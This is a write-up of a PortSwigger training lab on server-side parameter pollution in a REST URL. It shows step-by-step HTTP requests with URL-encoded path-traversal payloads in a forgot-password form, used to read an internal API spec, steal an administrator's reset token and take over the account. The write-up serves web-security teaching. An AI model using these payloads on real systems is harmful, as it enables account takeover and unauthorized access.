Exploiting server-side parameter pollution in a REST URL | May 10, 2024
Table of Contents
Overview
Welcome to my another writeup! In this Portswigger Labs lab, you’ll learn: Exploiting server-side parameter pollution in a REST URL! Without further ado, let’s dive in.
- Overall difficulty for me (From 1-10 stars): ★★★★☆☆☆☆☆☆
Background
To solve the lab, log in as the administrator
and delete carlos
.
Enumeration
Login page:
In here, we can reset an account’s password via the “Forgot password?” link.
We can try to submit a random username:
Burp Suite HTTP history:
When we clicked the “Submit” button, it’ll send a POST request to /forgot-password
with parameter csrf
and username
.
After that, if the username is invalid, it’ll respond "The provided username \"foobar\" does not exist"
.
In this endpoint, we can test for server-side parameter pollution on the username
parameter.
After some trials and errors, I found something weird after truncating query strings via #
:
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%23
Hmm… Invalid route
??
A RESTful API may place parameter names and values in the URL path, rather than the query string. For example, consider the following path:
/api/users/123
The URL path might be broken down as follows:
/api
is the root API endpoint./users
represents a resource, in this caseusers
./123
represents a parameter, here an identifier for the specific user.
Consider an application that enables us to edit user profiles based on their username. Requests are sent to the following endpoint:
GET /edit_profile.php?name=peter
This results in the following server-side request:
GET /api/private/users/peter
An attacker may be able to manipulate server-side URL path parameters to exploit the API. To test for this vulnerability, add path traversal sequences to modify parameters and observe how the application responds.
We could submit URL-encoded peter/../admin
as the value of the name
parameter:
GET /edit_profile.php?name=peter%2f..%2fadmin
This may result in the following server-side request:
GET /api/private/users/peter/../admin
If the server-side client or back-end API normalize this path, it may be resolved to /api/private/users/admin
.
In our case, the browser sends the following request:
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%23
And the server-side request may resulted in this:
GET /api/users/foobar#/email
Exploitation
Armed with above information, we can try to perform path traversal to reset password on account administrator
:
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%2f..%2fadministrator
Which the server-side request may resulted in:
GET /api/users/foobar/../administrator/email
And after path normalization, it should be resolved to this:
GET /api/users/administrator/email
Let’s try that!
Nice! We can trigger a reset password on account administrator
via path traversal!
Now, what if I traverse back to the root of the path (/
)?
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%2f..%2f..%2f..%2f..%2f..%2f
Hmm… Looks like it returned HTTP status 404 Not Found.
Also, when the internal API accessed an invalid endpoint, it also said: Please refer to the API definition
.
Ahh… I wonder if there’s any API documentation on the internal API server…
Here’s some examples of possible API documentation endpoint:
/api
/swagger/index.html
/openapi.json
After trying different endpoints, I found that /openapi.json
works!
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%2f..%2f..%2f..%2f..%2f..%2fopenapi.json%23
By doing so, the server-side request should be resulted in:
GET /api/users/foobar/../../../../../openapi.json#/email
After path normalization:
GET /openapi.json
Nice! We get the internal API documentation!
Beautified:
{
"openapi": "3.0.0",
"info": {
"title": "User API",
"version": "2.0.0"
},
"paths": {
"/api/internal/v1/users/{username}/field/{field}": {
"get": {
"tags": [
"users"
],
"summary": "Find user by username",
"description": "API Version 1",
"parameters": [
{
"name": "username",
"in": "path",
"description": "Username",
"required": true,
"schema": {
...}
In the paths
attribute, we can see there’s a route:
/api/internal/v1/users/{username}/field/{field}
In the above route, we can see there’s a parameter called field
. It seems like it’s referring to the user
object’s attribute (field
)!
Armed with above information, we can try to get administrator
’s user object attribute username
’s value for testing:
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%2f..%2f..%2f..%2f..%2f..%2f/api/internal/v1/users/administrator/field/username%23
As expected, it returned the username value!
Moreover, by viewing the source page of /forgot-password
, we can see that there’s a JavaScript file being loaded:
<script src="/static/js/forgotPassword.js"></script>
/static/js/forgotPassword.js
:
let forgotPwdReady = (callback) => {
if (document.readyState !== "loading") callback();
else document.addEventListener("DOMContentLoaded", callback);
}
[...]
forgotPwdReady(() => {
const queryString = window.location.search;
const urlParams = new URLSearchParams(queryString);
const resetToken = urlParams.get('reset-token');
if (resetToken)
{
window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
}
else
{
const forgotPasswordBtn = document.getElementById("forgot-password-btn");
forgotPasswordBtn.addEventListener("click", displayMsg);
}
});
When the DOM (Document Object Model) has fully loaded, if GET parameter name reset-token
exist, it’ll redirect us to /forgot-password?passwordResetToken=<resetToken>
.
Hmm… What if we exploit the server-side parameter pollution and path traversal to retrieve administrator
’s reset token??
To do so, we first generate a reset token for account administrator
:
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=administrator
Then, exploit the server-side parameter pollution and path traversal to get its reset token:
POST /forgot-password HTTP/2
csrf=jzd7KrpvqB9nYMaDfeD9faWWUgNf8jBh&username=foobar%2f..%2f..%2f..%2f..%2f..%2f/api/internal/v1/users/administrator/field/passwordResetToken%23
Nice! We got the reset token (uyuj0uianhqkeryhkvackien1bvmc23c
)!
Now can send a GET request to /forgot-password
with parameter passwordResetToken=uyuj0uianhqkeryhkvackien1bvmc23c
to reset administrator
’s pasword:
Next, login as user administrator
with the new password:
Finally, go to the “Admin panel” and delete user carlos
:
Conclusion
What we’ve learned:
- Exploiting server-side parameter pollution in a REST URL